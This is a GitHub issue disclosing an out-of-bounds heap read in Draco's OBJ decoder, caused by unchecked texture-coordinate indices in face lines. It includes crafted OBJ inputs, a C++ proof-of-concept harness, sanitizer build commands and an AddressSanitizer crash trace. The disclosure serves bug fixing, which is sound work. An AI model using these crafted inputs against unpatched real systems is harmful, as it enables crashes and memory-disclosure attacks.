Skip to content

Out-of-bounds read in draco::PointAttribute::DeduplicateFormattedValues #1194

@emptyiscolor

Description

@emptyiscolor

Summary

  • OS: Linux x86_64
  • Toolchain: clang 14
  • Build: cmake -DCMAKE_BUILD_TYPE=Debug -DDRACO_BUILD_EXECUTABLES=ON
    with -fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls
  • Verified against Draco main at commit 77e616e (version string 1.5.7).

The Draco OBJ decoder accepts OBJ face definitions whose texture-coordinate or
normal indices refer to entries that were never declared in the file. The
parser validates only that each index is non-zero; it never checks that the
index fits within the number of vt / vn / v entries seen in the first
parsing pass. The unchecked index is stored directly into the per-point
attribute mapping (indices_map_) and later dereferenced by the attribute
deduplication stage, producing an out-of-bounds read in
PointAttribute::DeduplicateFormattedValues.

The vulnerability is reachable from the public ObjDecoder::DecodeFromBuffer
API and from the shipped draco_encoder / draco_decoder command-line tools
when given an attacker-controlled .obj file.

Affected component

  • Version: 1.5.7 (current main, commit 77e616e)
  • File: src/draco/io/obj_decoder.cc
  • Entry points:
    • draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, PointCloud*)
    • draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, Mesh*)
    • draco::ObjDecoder::DecodeFromFile(...) (via ReadMeshFromFile /
      ReadPointCloudFromFile from draco_encoder / draco_decoder)

Proof of concept

PoC 1 — Library API (minimal, ASan build required to observe)

poc_objdecoder_repro.cc:

#include <iostream>
#include <string>

#include "draco/core/decoder_buffer.h"
#include "draco/core/status.h"
#include "draco/io/obj_decoder.h"
#include "draco/point_cloud/point_cloud.h"

int main() {
  // Valid OBJ syntax with three positions, three normals, only three
  // texcoords, while the face maps every vertex to texcoord index 100.
  const std::string obj =
      "v 0 0 0\n"
      "v 1 0 0\n"
      "v 0 1 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "f 1/100/1 2/100/2 3/100/3\n";

  draco::DecoderBuffer buffer;
  buffer.Init(obj.data(), obj.size());

  draco::ObjDecoder decoder;
  draco::PointCloud pc;
  const draco::Status status = decoder.DecodeFromBuffer(&buffer, &pc);

  std::cerr << "Decode status ok: " << status.ok() << "\n";
  if (!status.ok()) std::cerr << status.error_msg() << "\n";
  return status.ok() ? 0 : 1;
}

Build and run under ASan:

cmake -S <draco> -B /tmp/draco-asan -DCMAKE_BUILD_TYPE=Debug \
  -DDRACO_BUILD_EXECUTABLES=OFF \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address'
cmake --build /tmp/draco-asan --target draco -j
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
  -I<draco>/src -I/tmp/draco-asan poc_objdecoder_repro.cc \
  /tmp/draco-asan/libdraco.a -lpthread -o /tmp/poc_objdecoder_repro
ASAN_OPTIONS=abort_on_error=1:symbolize=1 /tmp/poc_objdecoder_repro

PoC 2 — Shipped CLI, ASan build (reliable crash)

Save the same OBJ to /tmp/crash.obj and run the sanitizer-built encoder:

ASAN_OPTIONS=abort_on_error=1:symbolize=1 \
  /tmp/draco-asan/draco_encoder -i /tmp/crash.obj -o /tmp/out.drc

/tmp/crash_big.obj:

v 0 0 0
v 1 0 0
v 0 1 0
vt 0 0
vt 0 0
vt 0 0
vn 0 0 1
vn 0 0 1
vn 0 0 1
f 1/2000000000/1 2/2000000000/2 3/2000000000/3

Observed output

ASan report

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000002bc
READ of size 4 at 0x5020000002bc thread T0
    #0 draco::IndexType<...>::IndexType(...)           core/draco_index_type.h:70:54
    #1 draco::PointAttribute::DeduplicateFormattedValues<float, 2>
                                                       attributes/point_attribute.cc:219:27
    #2 draco::PointAttribute::DeduplicateTypedValues<float>
                                                       attributes/point_attribute.cc:139:14
    #3 draco::PointAttribute::DeduplicateValues(...)   attributes/point_attribute.cc:97:21
    #4 draco::PointAttribute::DeduplicateValues(...)   attributes/point_attribute.cc:88:10
    #5 draco::PointCloud::DeduplicateAttributeValues() point_cloud/point_cloud.cc:294:29
    #6 draco::ObjDecoder::DecodeInternal()             io/obj_decoder.cc:274:23
    #7 draco::ObjDecoder::DecodeFromBuffer(...)        io/obj_decoder.cc:85:10
    (or DecodeFromFile / ReadMeshFromFile / draco_encoder main on PoC #2)

0x5020000002bc is located 384 bytes after 12-byte region [0x502000000130,0x50200000013c)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions